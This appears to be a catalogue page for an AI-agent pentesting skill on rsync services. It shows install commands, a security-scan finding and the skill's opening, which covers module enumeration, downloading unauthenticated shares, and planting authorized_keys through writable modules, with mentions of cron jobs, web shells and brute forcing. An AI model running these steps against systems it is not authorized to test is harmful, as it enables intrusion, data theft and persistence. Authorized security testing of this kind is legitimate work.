pentesting-rsync

pentesting-rsync is a skill for Claude Code, Codex from xalgorix/xalgorix. It costs 58 tokens per session (1,906 once invoked), scanned C, original, Apache-2.0.

A guide to testing rsync, a service for copying and synchronizing files between computers, during an authorized security assessment. It examines shared directory listings, login requirements, and read or write permissions.

In plain words
What is it for?
Use it to identify rsync modules, test anonymous access, check which files can be read or written, and review configuration errors that could expose system files or login keys.
Why use it?
It helps find publicly visible modules, weak passwords, and shares that allow sensitive files to be downloaded or changed.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to identify rsync modules, test anonymous access, check which files can be read or written, and review configuration errors that could expose system files or login keys.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/xalgorix/xalgorix/pentesting-rsync
About the project

xalgorix/xalgorix is a self-hosted AI penetration-testing tool in which an LLM agent performs reconnaissance, looks for vulnerabilities, and coordinates exploitation, while a separate verifier re-tests findings before reporting them. It is for security teams, ethical hackers, and bug bounty work using a private, bring-your-own-LLM setup. The catalogue skills extend the agent's pentesting workflow.

xalgorix/xalgorix · 1,531 stars · on GitHub · xalgorix.com

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add xalgorix/xalgorix --skill pentesting-rsync
Clone the repo
git clone --depth 1 https://github.com/xalgorix/xalgorix

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pentesting-rsync

README.md
[![agentmods](https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-rsync/github.svg)](https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-rsync)
Your own site
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-rsync"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-rsync/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pentesting-rsync

Your own site · 80×15
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-rsync"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-rsync.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 58 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,906 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00058 $0.01906
Opus 5.5 $0.00023 $0.00762
Sonnet 5.5 $0.00012 $0.00381
Haiku 4.5 $0.00006 $0.00191

Measured 7d ago against content hash a36e786ade75, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

pentesting-rsync scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

- If you planted `authorized_keys`, connect: `ssh -i ~/.ssh/id_rsa <user>@<IP>`.
internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md · 147 lines

How it starts

The opening of the file, as written. The whole thing — 147 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pentesting rsync (port 873)

When to Use

  • Default port 873/tcp for the rsync daemon protocol (rsync://); alternate ports such as 8730 are common on NAS devices.
  • When nmap/banner shows rsync or a connection returns an @RSYNCD: <version> banner.
  • For enumerating exposed "modules" (directory shares), assessing auth requirements, and testing read/write access.

Quick Enumeration

# Banner grab + manual module listing
nc -vn <IP> 873
# Server greets:  @RSYNCD: 31.0   -> echo same line back, then send:  #list
# Server enumerates modules, e.g.:  raidroot  USBCopy  NAS_Public  ... then @RSYNCD: EXIT

# nmap module listing
nmap -sV --script "rsync-list-modules" -p 873 <IP>

# Metasploit module listing
msfconsole -q -x 'use auxiliary/scanner/rsync/modules_list; set RHOSTS <IP>; run; exit'

# Native client listing (also IPv6 / alternate port)
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Critical: Checks Most Often Missed

  • Unauthenticated module access — many modules require no password and allow full read (and sometimes write). The #1 miss.
    • How to CONFIRM:
      rsync -av --list-only rsync://<IP>/<module>     # lists without prompting = no auth
      rsync -av rsync://<IP>/<module> ./loot          # downloads recursively
      
  • Auth-required modules revealed by the protocol — a module that responds @RSYNCD: AUTHREQD <challenge> confirms a password gate worth brute forcing.
    • How to CONFIRM: manual nc listing shows @RSYNCD: AUTHREQD ... for that module name.
  • Writable modules → key planting / file overwrite — write access lets you drop authorized_keys, cron jobs, or web shells.
    • How to CONFIRM:
      rsync -av ~/.ssh/ rsync://<IP>/<module>/<user>/.ssh    # upload authorized_keys
      
  • Hidden modules — some shares are not listed; test guessed names (home, backup, www, etc, share).
  • rsyncd.conf / secrets file (post-access) — secrets file points to a user:password file usable for further auth.
    • How to CONFIRM: find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).

Read the full file on GitHub · 147 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 147 lines · 58 tokens per session scan C a36e786ade75

Subscribe to this mod's changes

pentesting-rsync is a skill published in the GitHub repository xalgorix/xalgorix (1,531 stars, last pushed yesterday), licensed Apache-2.0. It adds 58 tokens to every session and 1,906 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 1 finding (reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-11-23.

Related

pentesting-rsync compared with skills from other repositories

pentesting-rsync next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
pentesting-rsyncxalgorix/xalgorixSkill1.5kyesterdayApache-2.0C58Claude Code, Codex
cis-aws-foundations-4.3CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A18Claude Code, Codex
cis-aws-foundations-6.5CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A23Claude Code, Codex
cis-aws-foundations-2.1.1CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A19Claude Code, Codex
cis-aws-foundations-2.15CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A23Claude Code, Codex
cis-aws-foundations-4.1CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A18Claude Code, Codex
cis-aws-foundations-2.4CyberStrikeus/CyberStrikeSkill3.8kyesterdayAGPL-3.0A20Claude Code, Codex